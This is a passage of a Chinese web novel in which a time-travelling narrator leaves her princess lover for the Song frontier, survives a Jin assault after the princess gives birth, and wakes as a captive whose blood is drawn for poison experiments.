我们都以为做好了所有准备,但是离别来临时,还是忧郁难平,更何况瑚儿现在的身体状况…… “万事小心!我在京中会想办法的,”瑚儿拉着我的手嘱咐着,我们在万福园庭院中告别,祈祷时间走得慢一点。 “为什么非得在这个时候?”我拉着她的手,贴在脸上,我尽量忍着眼泪,“你一定让冷语时刻陪着你!还有战事可能会很久,你们也准备好万一局势紧张,就乘船南渡!” “好,好~”瑚儿没有像往常一样笑我神经兮兮,只是应着。 门外有人催促我出发了,我和瑚儿一起走到门口,不敢看她,我轻轻放开了手。 “心园的红绸,我会每隔半月换一次,保证你回来就能看到鲜鲜亮亮的!”瑚儿的声音从身后传来,“到时你一定跑着来找我!” “好!”我上了马,回望瑚儿,用口型回答着。 扬鞭离开,我想快一点迎接我的命运,也让重逢快一点到来! 征途从城镇到郊外再到绵延百里的山林,路过的烟火人间,走向遍野风光,心情是豁达和寂寥交杂! 路上看到了新奇有趣的事,我总会想该怎么和瑚儿说,夜里更是难熬,不知道她睡得好不好,是不是很辛苦? 但是,这种分离是现下唯一的选择,其实那日从皇宫出来,我就觉得这次征程安排,可能会很凶险,皇帝怎么会允许哪个男子享齐人之福,娶他两个女儿,更何况其中一个还是宠爱多年的。 他想让瑚儿和我远离,如果是以前,我们或许可以选择像天如意一样浪迹天涯,但是瑚儿现在的身体,留在京城是最安稳的。还有,我毕竟顶着谦月的身份,如果激烈反抗,曹家可能会遭殃的! 先表面上顺从他的旨意,也许到了边关或者战事混乱时,我便可找机会逃出去和瑚儿再见! 行军路上我想清楚了很多事,纵有艰难也得向前! 吧嗒,一颗石子落在我旁边,拉回了我的思绪。我抬头一看,是我们家的“妈宝鹰”青儿啊! 小飞: 自你离京已有两日,我让冷语去驿站询问,与幽州关往来书信怕是三四个月才有一次,于是拿跟你同样式的盔甲在青儿面前晃了好久,让它往北追你。以往你带她走,她飞回来便可通信,这下也不知道她能不能寻到你。 我们在家里一切都好,若是你们早点回来,就更好!(蝴蝶) 五月初六 瑚儿和我接触久了,我们之间写信向来都是白话加口语,如果自诩才子的道君皇帝看了,一定更觉得我教坏他的帝姬吧! 我小心将信叠好,揣在怀中! 傍晚队伍行至一座小山附近,我便建议统领准备安营休息。而后急忙找来纸笔,给瑚儿回信,恨不得把一路见闻都写下来,幸好青儿比信鸽健硕,我们可以写上四五页都没问题。 瑚儿: 今日收到青儿送来的家书,快哭了t﹏t!我们已经行至……这里的人会送我们当地吃食,希望我们能抵御外敌,保护他们的家园……现在我们不能轻易洗澡了,我的头发干脆编了起来,特别像麻花(图画)…哈哈…你最近有没有按时吃药,嘴里会觉得没有味道吗?老一辈人说吃点果脯梅子这些,你和你姐姐也一起吃点…… 当年以为好久都不能说话,怕你觉得无聊想听故事,我就试着画了些,你看看解闷啊……每晚还是要记得热水泡泡脚,早点休息……(飞鸟)五月十一 算来,现在的距离青儿一来一往得十几天,以后间隔可能会更久一点,前提是青儿能找到我。想了想我将写好的信卷好,又提笔写了一些,画了一些…… 经过近五十天的跋涉,终于风尘仆仆的到了幽州关,一路骑马,感觉屁股都颠的麻木了!最近十几天真是能见到的居民越来越少了。 士兵在分配营房整理装备时,我也见到了许久未见的曹梦绮。还真是沧桑了不少,看起来像四十岁的人,胡子拉碴,眼神木然却决绝,非常官方的交接好公文,他便去组织操练了。 我打算自己查看一下这座关塞,登上烽火台,对面三十里外就是辽军营了。哎,居然还是到了前线…… 我取出从家里带来的哨笛,吹起来,如果青儿可以找到这,那以后通信就稳定了。一路上我和瑚儿还通了两封信,她说起朝中的一些变动,金奴自从有孕以来,竟然柔和了不少,也可能念及我和瑚儿已经在一起了,会偶尔点拨瑚儿,算是帮我们看清局势。 吹了好一会儿,我都眼冒金星了,终于等来了青儿扑啦啦落下,赶快献上省下的口粮肉干,取出来信,它吃完就扭过头不理我了,蹲在那闭目养神等着我给它娘回信。 小飞: 你离京快一个半月了,到幽州关了吗? 我近日味口好了很多,只是冷语看着我和姐姐的饮食,水果吃了好多,都胖了,也不知道吃葡萄是不是真的会让肚子里小家伙眼睛又圆又亮,像你一样! 昨夜做梦梦到你和我到了你画的忍者故事里,那个中级考试怎么样了,小樱和…… 这么多故事和典籍,你有没有想好孩子叫什么好啊!?…… ……青儿自己会捕食,我们也会给她好吃的,你不要给她吃你的口粮了(生气人脸图),路途遥远补给恐不及时,你不能不好好吃饭……(蝴蝶) 六月二十五 看到结尾我不禁喝口水缓解馒头的噎,我作为枢密院的代表,带物资和兵众两千人来合兵。 查看统计下来,边关条件艰苦超乎想象,我带来的东西也只能算是杯水车薪。而且,我和曹梦绮都不是这里的最高统领,上面还有个王哲经略使。我作为吉祥物似的存在,待遇已经算可以了,但每日口粮还是馒头、糙米等干粮为主,半个月能有点荤腥,虽然偶尔也有机会喝点不怎么优质的酒,算是苦中作乐吧! 亲爱的瑚儿: 火影的故事除了热血沸腾的战斗,也有很多温情时刻…… 咱俩这孩子本就神奇,男女还不知,活泼点……倒也挺好…………终究是你最辛苦,你想叫什么就叫什么,哪怕铁蛋、翠花也行,据说名字俗气好养活…… 我见到曹梦绮了,他老了很多(胡子脸图),除了练兵喝酒也不怎么理我,喝多时他才会嘟囔说自己不配,求娶芊寻多次,本以为得到,没想到是永远失去资格!哎……我们也无法替芊寻谦月原谅他……最近无意间捡到他写的诗……感谢冷语照顾你,一并给你们。 …… 这个图图里的故事是小美人鱼的,恬静美好……(飞鸟) 六月三十 瑚儿: 转眼到这里已经一个月了,我虽然不领兵,但是协助治军也出了不少主意和力气……我在这里遇到了曾经的一个朋友,叫牛皋,我预感他是个福将,已经让他做我的亲卫,沾沾福气,无论如何都能逢凶化吉,所以你不必担心……孩子月份也大了……有没有影响休息………………(飞鸟) 七月十九 这日曹梦绮拿着两坛酒来找我,说朝里有喜事,发了些犒赏…… 我俩有什么交情喝酒? “没想到你和我一样,没人要……”他很快喝了一坛,诉说着从小对谦月的嫉妒……明明已经有芊寻的情有独钟,还和公主纠缠不清。 “活该!哼……呸”他激动的起来和我动手,我没怎么喝,比他清醒不少,自然可以轻松躲避。 我问旁边的士兵,知不知道怎么回事?士兵说,这些犒赏是官家为了庆祝帝姬成婚的恩惠! 哦,一般有这个福利吗?我问是哪位帝姬,得到的答案让我楞在原地,揪着士兵确认几遍,我不由得端起酒坛猛灌…… 成德帝姬大婚!?瑚儿嫁给了向子房…… 这当中一定有什么隐情,但是一时间我得喝醉压压惊! 喝多了就自然接了曹梦绮的挑衅,醉酒的人战斗力无法言说,加上我们都想发泄,就打到晕倒了…… 次日,我被青儿踩醒,它收了爪子在我背上蹦,真贴心…… 赶忙抽出瑚儿的来信,意料之中的原因。因为她的肚子越来越明显了,为了让皇上安心放我一条生路,最好的办法就是“成亲”。而感念我救女之情的向子房,自愿配合。瑚儿以身体不好为由,请求免去了婚礼仪式,但是皇上还是昭告了天下。如今瑚儿依旧住在万福园,也许他和向子房真的有这个名分的缘分吧! 经历了这么多,我们不会轻易猜疑彼此的,我相信这是没有办法的办法。 眼下我只希望皇帝放松警惕之后,能不能早点放我回京! 打过一架后,我和曹梦绮的关系似乎缓和了,偶尔喝酒时我问起他和冷语的事,他也不是毫无触动! 我们都希望早点回家,所以会商量眼前的情况,王大人不知得了谁的命令,迟迟不出击,与其说和金灭辽,不如说在被动等待金军进攻,金军的营寨扎的已经比辽军还近了,真的能坐收渔利吗?只怕引虎驱狼反自伤…… 我把自己的担忧告诉了曹梦绮,我们决定写奏报,请求出兵出战。得到的是依然日渐减少的粮草供应,我们只能尽量做好防御准备。 亲爱的瑚儿: 古人说胡天八月即飞雪,今年已经很幸运了,似乎是暖冬…… ……她最近有没有踢你……腰还…… 天冷了,风雪如刀子考验着每个士兵的意志。连青儿也无法自由往来了,我已经一个月未能收到来信。 我不停往手上哈气,才能保证手不被冻僵,现在已经是农历冬月,朝廷给的物资越来越少了,仿佛已经忘了我们这个关塞。缺衣少食已经成为最大的问题,前几日病死的老兵死前还在喊着:杀贼! 可怜无定河边骨,犹是深闺梦里人! 未能为国捐躯,却亡于庙堂斗争…… 我不能让瑚儿担心,所以我尽量说着温馨的好事…… 突然,外面有人通报,朝廷特使运送了一大批辎重前来,足足五十车…… “特使!”我急忙出去迎接,真是解了燃眉之急! 外面将士们一扫阴郁,开心的帮忙卸车。风雪依旧打的人睁不开眼睛,雪中有位披着红色厚实大毛氅的人,被人搀扶着步履蹒跚的走着,看到我之后,便放开了身边人的手向我走来。 终于,透过雪幕,我看清了来人的脸。 “瑚儿!”我不敢相信自己的眼睛………她这种身体怎么可以来到这里? 77、战火纷飞 “小飞飞,你就不想我嘛?”瑚儿将脚放进热水盆里,看着我撒着娇说“我们已经五个月没见了!” “哎呀,你别拉着脸了!”瑚儿捧起我的脸揉着,我正坐在小板凳上给她按摩小腿,心里后怕,脸上自然笑不出来。 “她们怎么不拦着你啊?这都七个多月了,往这地方跑……”我小声的说,心疼也埋怨自己。因为肚子的重量,她的脚和腿都肿了很多,当年在安神医那里学的,都没有在她最需要的时候用上。 “我怕不亲自押运,这些东西到不了这里”瑚儿也轻轻的说着。朝里的氛围不太对,金奴和她都意识到了,大家似乎都小看了金人的野心。如今他们分兵三路分别进攻了夏国、辽国,还有在宋东北侧陈兵。如果辽国灭了,可能下一个目标就是…… “我答应成婚之后向爹爹讨了不少嫁妆,加上原来经商所得,全都换了这些物资,然后来找你讨债……”瑚儿的语气听起来轻松,可是这是近两个月的路程奔波啊!我抬头看着她,火光映照着她疲倦的面庞,虽然孕期雌激素影响有了一些斑,但是依旧是那么美丽。说实话,我还不习惯她已经挽起头发的样子。 “讨债?!”我不觉喃喃的说,抬起手抚摸着她的脸,“讨什么债啊?” “这个,白纸黑字还有这手帕为证”瑚儿说着从怀中取出一张纸还有我绣的手帕,“本公主十九岁生日的礼物呢?” 因为今年无法一起过中秋也就是瑚儿的生日,而这边关又实在没有什么,除了沙土就是豺狼,我只好用手头的针线绣了一只红嘴红爪毛绒绒的小黄鸡崽,是瑚儿的生肖属相。然后我也写下了赔罪的欠条:二十岁时一定好好补上,公主恕罪(跪拜小人儿图)。然后将这些一起在八月初绑在了青儿身上…… “这……公主若不嫌弃,我以身相许~”我故作娇羞的说着。 “许过了啊~”瑚儿笑着挑起我的下巴“小飞飞,真的不想我嘛!” 怎么会不想啊?我看着瑚儿,有太多话想说,太多了,一时竟然有些哽咽,我深吸一口气,尽力笑着,点点头,声音竟然有点颤抖:“想”! 瑚儿也眼中晶莹,抿着嘴唇,点点头,然后拇指轻轻摸着我的眉,仿佛在勾画着眉骨的轮廓,“离别滋味我以前真的不能体会,直到等着你信的日子,我才觉得古人写的那些相思真是生动贴切,”瑚儿让我取过她随身的包袱,从里面取出我们写过的信,“读着它们,我就会好像看到字句燃烧,雪花轻飘……” 的确,收到这些家书时,我都如获至宝,还时常反复读着,然后贴在心口上,想象着瑚儿的语气和表情…… “还有这个!”瑚儿取出一块红绢布,挡在我们之间,“心园里换下来的!” 我们有染布坊,半月换洗或者补染,果然依旧是鲜艳夺目的红。 这红绢是我们的暗号…… “小飞,我没有办婚礼,”说着瑚儿将火红的丝绢覆在头上,遮住了脸,“帮我揭盖头吧!” “这样简单的仪式……”我迟疑着拿起红绢的角,却不敢揭开,“怎么配得上你?!”我的眼泪滴下来,我忙用手擦掉。 “听话!小飞~都是我心甘情愿的选择”瑚儿伸出手,探索着摸到我的衣服,然后用手拉起来轻轻扯着摇着,似撒娇的说着“咱们房都洞过了,孩子都快出生了,你不能赖账啊!” 我拉住瑚儿的手,紧紧握着,“谢谢公主!以后……我一定加倍努力对你好!” “乖~来嘛,帮我揭盖头”瑚儿也握紧我的手说着。 轻轻将红绢掀起,灯火光通过它,将瑚儿的脸映照的满是红韵,让我痴迷,她的美好带给我的吸引,从第一次见面起就无法改变! “在我的家乡有个新的风尚,除了揭盖头,还得吻一下新娘,公主殿下~可否允许我……”我笑着,用充满祈求的眼神看着瑚儿……我猜她不舍得拒绝…… “准了!”瑚儿一把抓住我的领口拉过去,我迅速调整好表情,结结实实的亲了上去…… “想好叫什么嘛?”我们坐在床边,我轻轻抚摸着瑚儿圆圆的肚子。 “先起个小名吧!小兔怎么样?”瑚儿也轻轻摸着肚子说。 “哦?明年二月出生,不是应该属马吗?怎么叫小兔啊?”我不解的问道。 “马中赤兔嘛!”瑚儿仰起头畅想着“不管男孩女孩,都不耽误她自由驰骋闯荡的过这一生啊!” “寓意好棒!”我笑着称赞,“腰还酸吧!我再给你揉揉!”我伸手轻轻捏着瑚儿的腰。她轻轻转过身,让我按摩着,手在摸着肚子,说起“还有两个多月就好了,不知道会长什么样子,像不像你我?” “有你在,就算被我拉低点,应该也是数一数二的好看!”我一边认真按摩,一边思考的说着。 瑚儿听了笑起来,“你知道就好~不过,希望眼睛像你,声音也像你就好了!其他都行!” “哦~我亲爱的公主殿下,奔波了这么久,早些休息吧~”我听她说喜欢我的声音,就故意端起译制腔说着“我给您汇报下近日的见闻!” “好哇~” 我扶着瑚儿躺好,在小腿下垫了一个折好的毯子,这样腿会舒服很多,然后我侧卧在她外边,我们聊着天,慢慢睡着了…… 咚咚咚!急迫的敲门声响起,“公主!曹大人!快醒醒,快起来!金军攻城了!”冷语快把门拍碎了。 我一激灵起身,看瑚儿也睁开了眼,我忙扶她坐起来,为她穿上鞋,然后跑过去开门。冷语冲进来,忙跑到床边要为瑚儿穿外衣。却见瑚儿满头虚汗,抱着肚子,疼的说不出话来! “公主动胎气了!得准备接生了!”冷语查看了下瑚儿的情况,急着说。 “啊!”这个时候?? 冷语医术不差,她非常肯定瑚儿的情况,不可能挺着赶路的! “你去烧水,我给公主接生!”冷语吩咐道,我脑子都懵了,但还是往外跑去。出门撞见已经一身戎装的曹梦绮,简单说了下情况,请他一定守住,起码守几个时辰!他点头,带兵出发。我看着城外的火光冲天,犹如白昼,喊杀声不绝于耳! 我端着热水回来,冷岩守在门口,屋内瑚儿痛苦的呻吟着。这战火纷飞的时候,这小家伙……想着突然一个念头闪过……这孩子该不会是…… 我跪在床边紧握着瑚儿的手,汗水打湿了她的头发、面颊,冷语在告诉瑚儿呼吸的频率。 煎熬了瑚儿半个小时,一声啼哭终于传来,冷语让我用刀割断脐带,然后简单用衣服抱了一下,将孩子递给我们,是个皱巴巴的小姑娘!五官好像像我多一些…… 我把她头上的血擦干净,放在瑚儿身边。这时,瑚儿还没有缓过来力气。小家伙止住了哭,手轻轻抓着空气挥舞,我突然看见她右手的手心手背各有一个红色胎记,对应着。我又忙看看她的心口,果然也有一个红胎记!时间也对的上! “她……可能是谦月!?”我难以置信的说着,瑚儿听着也张大了眼睛。 “曹谦月!公主生了吗?金军攻势太猛,我准备了车马,你们先走!”曹梦绮的声音从门外传来。 我赶忙出来,看了眼退下来的士兵状况,周围还有很多地方已经被带着火的箭点燃,曹梦绮也有点狼狈,脸上沾着血。 “王大人呢?”我问着。 “带着一营人跑了,”曹梦绮不屑的说着,“孬种!” “还有多少能上的兵?”我追问,心里想着现在的情况。 “一千多点吧!”曹梦绮不耐烦起来,“别问了,你快带着她们走!晚了就……” “你掩护她们!”我坚定的说“我留下殿后!” “你开什么玩笑?”曹梦绮不可置信的问,“我宁可战死,也不会做逃兵!” “我和冷岩就算带着人,只怕也无法突围!”我想着,有点绝望,但是还得继续说,“但是你可以,你带着一队人,一定能把她们平安送回去!” 曹梦绮低头想着我的话,没有回答。 “如果我们都弃城,就算能平安回京,曹家也完了!把公主带回去!沿途告诉关塞赶紧布防,至少还有机会顶住!”我拉着他分析眼下的情况,尽快让他接受,“公主生了!这孩子对芊寻很重要!” 这孩子确实可能是谦月归来,但也是我和瑚儿血脉的缘分。说起芊寻,也许他会答应的。 说着,我已经没有办法,只得学着古人下跪请求,“曹大哥!我求你,把她们护送回去!” “好”他制止住我下跪的动作,看了眼屋里,点头答应。 他去把车马叫过来,瑚儿还不能走太多路,我回到瑚儿身边,将纤云甲解开分为两片,一片盖在瑚儿背上,再为她披好外衣,另一片裹在婴儿身上。 “你们先走,我马上就来!”我和冷语为她穿戴好,又用大棉衣包好孩子,瑚儿死死的拉着我,我安抚她说“我们在后面给攻城的兵添点麻烦,很快就来!这孩子不管是不是谦月,也是你和我的血脉孕育的,你先带着她回家,路上守将也会听你的话,好好抵御金军!” 半哄半骗半抱,我们将瑚儿送到马车上,冷语撑着瑚儿,瑚儿抱着婴儿。 “你们要是到了京城说完情况,往南去也好!”我对冷语嘱咐着,让她届时想着提醒瑚儿。 一切妥当,我探着身子亲了瑚儿一下,“我很快就和你汇合!不管到哪里,你把红绢准备好!” 说完这些,我让牛皋赶马车,希望他的福气可以保住她们平安! 我们的关塞已经被金军围住了,我们将一些大推车装满可燃物和火油,推到城楼上点燃在推下,暂时阻止了进攻,然后开南门推出十几辆着火的车开路,一队人冲锋,曹梦绮带着一队人在后面冲出去,马车混在其中,我也骑马带着剩下的七八百人冲出去,见到异族服饰的人就砍杀。 到了一座山谷处,我带人回头阻击追兵,拦住一会是一会!眼见着曹梦绮他们南归的身影消失,我松了口气,接下来只要拼命拖住就好,哪怕…… 至少瑚儿她们活下去的概率会增大…… 渐渐的,我身边的人变少了,他们倒在了箭雨之下,我们往山上退着。很快我身边只有冷岩了,他刚刚折返回来,他冲到我身边,为我挥剑保护! 眼见敌人要从山下冲上来,冷岩将我按倒在地上,低声说“我已无挂碍,希望救下你,能报公主的恩情!你不要动!” 说完他拉过我的外套穿上,又拿走一杆带着宋旗帜的枪,大喊,“我大宋左卫将军曹晟,宁死不降!” 很快他就身中数箭,倒下去,坠入身后的山崖…… 未等我作出反应,也很快被流箭射中小腿和后肩,感觉到身后说着听不懂话的人声逐渐靠近,我只能忍住不吭声,他们踩过我们的身体,随手给脚下的人补刀,我又挨了两刀。然后听着他们到了崖边,随即欢呼声不绝于耳。 在他们的欢乐声中,我感觉到血液流失、体温迅速下降,我的意识逐渐模糊,迷迷糊糊的好像听到了心跳的声音,难道我要回我的时代了吗?我快死在这里了吗? 不行,我不能就这么离开,我的瑚儿怎么办?我不知道自己是不是真的还有力气动,但是我感觉自己伸手摸到了瑚儿为我缝的平安符,我狠狠的攥住它。 然后我好像飞了起来,飞回了汴京,到了街市上,远远看到心园灯笼杆上挂着的红绸,映着太阳,那么亮那么暖,我多想向心园跑去,去见我的爱人…… 不知道过了多久,我感觉周围一片漆黑,还有人用脚踢着我,又是那些听不懂的语言,我感觉自己好累,勉强睁开一点点眼睛,逆光中一个人影出现在我眼前,不知道是不是幻觉,那人好眼熟,是完颜晴?不知道是不是真的,我又陷入了黑暗之中…… 78、试验品 我在黑暗中多久了,真的没有概念,只是偶尔有听不懂的话传来,又会感到有人强行掰开我的嘴灌着液体,苦的我慢慢习惯了。偶尔还会有晃动的感觉,应该是被运输着。身体感觉冷,周围冰冷异常,又不知道过了多久没那么冷了,然后又开始冰凉凉的。我想说话却感觉嘴被封住了一样,仿佛一直被梦魇着…… 我是不是坠入了什么地狱,有什么惩罚和考验请快点来吧!我真的想快点度过这一切,回去看我的瑚儿…… 瑚儿,怎么样了?我在山岗上看到有金兵去追她们,瑚儿平安了吗? “瑚……”我喊着,突然睁开了眼睛,我看到了屋顶,我想起身却毫无力气,向门口看去,一个身穿蓝色异族服饰的年轻女子,正观察着我,她一点点靠近,确定我醒过来了,就转身跑出去。 门没有关,我感觉到冷风吹进来,有些刺骨。我身上盖着不算厚实的被子。再一次想试着坐起来,失败!试着活动脚,还有知觉。手抬不起来! 没多久,蓝衣女子一面说着听不懂的话,一面带人进来。我看着门口,来人身穿红色翻领开襟的服饰,头发上编着很多辫子!面容白皙靓丽,有些眼熟,她走近过来,我确定她是完颜晴! 她听着侍女的话,用汉语重复了一句“胡?”。转而看着我问,“你是想说我们是胡人还是想骂胡虏呢?” 她质问我,看着我的眼神好像在看地上的草,冷漠!她不认得我了吗? 想来,我们相处时她眼睛受伤看不到,只带走了李师师画的画像,可能真的认不出我了吧! 我想着自己会在哪里,怎么会遇到她?是她救了我吗? “应该没哑啊!”见我没说话,她嘀咕了一句,回头对蓝衣女子说一些话,想来是她们的女真语,那个女孩好像叫乌里,乌里点头和她出去了。 她们离开后,我又转头看着屋内环境,这是一个大概十平米左右的房间,砖地,隐约可以闻到煤炭木材燃烧的味道,墙边堆着些杂物,屋里有些阴冷。 房间观察完毕,我还是没什么力气起来,只好躺着回忆,自己到底昏迷了多久…… 门再一次被推开,乌里端了一个案子进来,走过来放在床边桌子上,然后熟练的拿起碗,机械的捏开我的嘴灌药,我现在醒着肯定会反抗,我摇着头想摆脱她的控制,但是没用,我激动的想用手推她,却发现右手怎么也用不上力,她一扭我就抓不住她的手臂,药的苦味很熟悉,看来我在昏迷中也被这么灌了不少! 我被呛得直咳嗽,她放下我在床上喘息,很快又端起一碗如法炮制的灌了起来,这次是淡淡的肉汤?温度尚可,就是有点腥味,但是我也无从反抗,喝完以后一时有点反胃,干呕了几下,又被丢下躺平。 就这样每日两次灌药和流食,羊肉汤、羊杂汤、鸡肉汤……大约三四天以后,我的力气恢复了点,她们应该也没打算要我的命吧! 等我能坐起身之后,乌里再想灌药和汤,就被我主动接过自己来了。我得活下去、好起来,我的早点回去找瑚儿…… 我摸着自己的手腕,已经是皮包骨了。再查看了下身体,肋骨下、后背、手臂、小腿好像都有已经愈合的伤疤,左手小臂内侧还有没有好的刀口。我昏迷了多久?总的来说,没有很邋遢不堪,看来也算有人照顾擦身吧!是完颜晴她们? 不管怎么说,能活下来,这样也算不错了。乌里只会说很少的汉话,大多数是命令或者单词,我想从她身上打听什么也够呛。 这天我试着从床上下地走路,才发现原来我睡着的是砖土垒的火炕,炕下面有可以添柴的孔洞,因为火不旺盛,所以我以前没有感觉到什么热量。 火炕!?我是在北方了吗?她是金国宗室,难道把我从边关运回了上京?她们对我简单粗暴,完颜晴也确实不像认出我来,自然不会是为了报当年相助的恩情,可是她们也似乎在救治我。 思考着,我终于蹒跚的挪动到窗边,试着推开窗,外面是一个院子,和心园差不多大,正想好好看看,就听到脚步声传来,我忙收了手,往床边移动。 与开门声同时,我也跌坐在床上,乌里依旧端来了药和食物进来,今天还多了一些瓶瓶罐罐。身后跟着进来的是,手拿着小酒壶状态微醺的完颜晴,自那日见过后大概有十日没见了…… 我接过药一口灌下,然后接过饭碗,今天居然不是汤了,是几块肉和一些菜盖在饭上,我拿过筷子吃起来,反正她们也习惯了我不说话。 “你昏迷太久了,肠胃缓过来点才能吃饭菜,”完颜晴走过来,看着我说,“你的命也算大了!手筋断了、肺脏受损,居然活了下来?!” 我的天,难怪我连用筷子都费劲,原来手筋断了。肺脏受损?是肋骨那处刀伤吗?回想起来现在呼吸确实不怎么通畅,气息短了,也总是咳嗽,我还以为是这里气候冻得呢? “脸上倒是没什么伤,不然一个女子还真不如死了算了!”完颜晴说着伸手搭在我手腕上给我把脉,她什么时候会医术了,我在回想,也就没有抵抗,“看来死不了呢?” “你为什么上战场?学花木兰?”完颜晴转身走到我对面的椅子上坐下,手轻轻扶着头,略带戏谑的看着我“你喉咙的伤是旧伤,昏迷时也听过你说话,不是哑巴啊!” “今年是什么年?我昏迷了多久?”我咽下一口饭,尽量平复情绪的问道。 “会说话啊!那才好!”完颜晴笑了笑,喝了口酒,然后思考着回答“好像是你们宋国的靖康二年?” “靖康……靖康之耻?”我惊出一身冷汗,连手里的碗都丢在了地上,靖康二年?我昏迷了一年多???汴京已经被攻破了,北宋灭亡了,那她们会经历什么?我想着这些,泪水夺眶而出,我想往外跑,想回去找瑚儿。但是被身手矫健的乌里按住。 “靖康之耻?”完颜晴泰然自若的看着被压在床上的我,“你们汉人真会起名!呵呵,自己不中用,还觉得耻辱吗?” “算了,时候也差不多了!”她用女真话命令乌里,乌里跪着压在我背上,一手拿起旁边案子上的刀在火上烤了下,另一只手拉过我的手臂,划开了一道口子,我疼的想抽回,却被狠狠压住,乌里又拿瓷瓶接流出来的血。 “我也算救了你的命,要你点血不过分吧!以前你昏睡时,也是每十日取一次血!”完颜晴悠悠然的说。 原来我手臂上的那些没有愈合的伤口是这么来的。 为什么定期取血? 那个瓷瓶估计能装一两血的样子,很快乌里从我身上离开,将瓷瓶恭敬的呈给完颜晴,我坐起来,喘着气。乌里又回到床前,取过另一个瓶子,将白色粉末倒在我的伤口上,划伤再止血,以后再划,还挺可持续采血呢! (╯‵□′)╯︵┻━┻ 完颜晴转头对外面喊了一声,有人送进来一个坛子,完颜晴打开盖子,一条黑色的蛇冒出头,她似乎并不害怕,将瓷瓶里的血倒在它头上,蛇伸出信子舔着,然后微微有点痉挛,头无精打采的搭在坛子边,好像要死了,但是很快又恢复了活力。完颜晴轻轻笑了笑,点了点头将盖子盖好。这画面看得人后背发凉…… “看来有用呢!不枉我在幽州关和西夏战场上搜罗了十几个垂死之人!现在就剩下你一个了,你好幸运啊!”完颜晴看着我,略带赞许的说,“你现在身体好多了,明天就加大药量吧!毕竟她们也等很久了!” 她们?很久?加大药量?这些变态要干嘛! 门外突然又走进来一个白衣女子,看起来和乌里一样也是侍女,她轻轻和完颜晴说着话,完颜晴摆摆手,又拿起酒壶喝着酒,扬起脖子的瞬间,我看到了她脖颈处的痕迹,像是亲热之事后遗留下的!白衣女子又轻轻的劝说,完颜晴有些晃悠悠的站起身。女子想搀扶,却在碰到完颜晴手臂之后,被完颜晴制止,随后她用女真语说着那个女子,看起来有些生气。 但是完颜晴转过来看我时,却有换回了满不在乎的戏谑感,她笑着对我说,“你呀!就乖乖留在这试药吧!我们会好吃好喝的待你,直到……”她向我走过来,继续说着“你可别想着跑哦~你身体里的毒,估计支撑不到你走出这上京城就得发作!” 我身体里还有毒?还得试药?这女人疯了吧!说完她转身向门口走去,乌里和白衣女子忙跟了上去,想扶她又不敢轻易伸手。 “对了,你叫平安是吧?”完颜晴突然想起什么似的,回头问着我。平安,是瑚儿为我绣的布条上的字,她误以为那是我的名字。“我是大金澈穆格公主,你可以跟着她们叫,以后你也可以陪我说说汉话……” 说完她莞尔一笑,离开了! 这个完颜晴我真是陌生,不知道她说的话是真是假。我还是要试着逃跑才行,我居然昏迷了一年多!瑚儿她们到底怎么样了? 我是不是真的在地狱,在噩梦中没有醒来。 可是当我微微移动着止住血的手臂,疼痛感却足够让我清醒…… 清醒之后,对疼痛的忍耐度变低了。胳膊上火辣辣的感觉,身上感觉紧巴巴的冷起来,嘴巴好干?这十天一刀没感染,我果然是幸运啊!眼下应该是有些发烧,然后如梦似幻的看到了好多以往的经历和见过的人…… 我在迷糊中醒来,头还很疼,窗外透进来阳光,似乎是挺过了昨晚的发烧和发炎。我试了几次终于坐起来,再一次好好的检查屋内和院中的情况,她们好像真的不怕我会逃走,门窗都没有上锁。在屋里找到一件女真长衫穿上,我苏醒以来第一次走出这个房间。一出门便感觉到春寒料峭,不愧是北国。 “你!回去!”乌里的声音传来。 79、成交 “你!回去!”乌里的声音传来,用简短的汉语命令着,用锅铲指着我。未等我作出反应,完颜晴慵懒的声音传来,她劝阻了乌里,然后打了个哈气对我说“既然起来了就一起吃饭吧!省的乌里给你送了!” 被乌里推搡着来到厅里,说是一起吃,她们也是单独盛出饭菜给我,让我坐在门口的小板凳上,拿我当汪了吗? “你先吃吧!她们不喜欢宋人……”完颜晴一面说着一面接过白衣女子盛好的饭。 种族歧视啊!我叹了口气,算了,后来民族一统了,都是种花家的人。现在识时务者为俊杰,先活下去,最重要!我舔了舔干裂的嘴唇,开始吃起来。 “宋人……没骨气!”乌里一顿一顿的骂着我!我停顿了一下,将碗放在腿上,看着她们,乌里马上握紧大饭勺以防我反抗,白衣女子也警惕的看着我,完颜晴倒是没什么反应,伸筷子夹着菜。 我用手捋了捋蓬松散着的头发,发质真是不怎么好了,随手扯下了破旧外衣要掉不掉的领口布,在拢起的头发后扎紧。 “能不能给我点水?”我对完颜晴说着。她点点头,吩咐了白衣女子一句。 “谢谢!”我接过她递过来的碗,顺便道谢,这是条件反射一样的回答。算了,活着重要,但是也不能太让人看不起吧! 白衣女子微微扯动着嘴唇,像是在笑,看来也懂一点点汉语,随即回到饭桌上继续用餐。 我喝了点水以后,也安静的吃起来,头发绑好以后,舒坦多了。 我将吃好的碗筷放在旁边桌子上,转身走出房间,来到院子里,乌里想叫住我,却被完颜晴止住。 我现在的体能还不能走太远,我还得有点耐心才行,刚刚看到院内有一口井,我走到井边,打了一些水回到房间,拿起床边桌子上的旧手巾,放在水盆中洇湿,拿起拧干后,我看着水中倒影的那个我! 很骨感嘛!头发也白了不少呢!黑白间杂在一起,也挺别致!我叹气苦笑,这样的我要怎么见瑚儿,瑚儿还在等我吗? 我用湿手巾敷在脸上…… “我还以为你要投井自尽呢!”完颜晴将我暂时封闭的结界打破。 “像吗?”我调整了下情绪,将手巾从脸上取下,而后慢条斯理的擦起来。 “你们汉人不就喜欢吃饱饭,整理下仪容然后上路吗?”完颜晴继续说。 “你还真是汉文化通!”我轻轻叹着,难道她见识过这些! “如果我真的想死,你会拦着吗?”不知道怎么的突然有这个好奇,我清洗了下手巾,继续开始擦着身体,随口问着。 “不拦啊!我向来不勉强别人!”完颜晴说着,手臂交叉依靠在门口,自然的说着,“你死你的,我救我的,医不好,起码能保你活着,大不了再让你躺在床上灌药,然后每十天取血呗!” 还真是魔鬼啊! “我们做个交易吧!”我涤好手巾拧干,回头看着她说。 “哦?我不缺钱,就算你家人送钱来赎,我也不会放你走!”完颜晴直接回答,“你的身体,对我有用!” 额!“我缺钱!”我将手巾搭在盆边,转过身来看着她继续说,“等你的试验成功了,给我一笔钱吧!或者,我在这里这段时间,你也可以给我些活干,我想赚点盘缠!” 我渐渐冷静下来,就算现在心急如焚,我的身体根本跑不了那么远,而且兵荒马乱,我怎么保证自己能活着见到瑚儿? 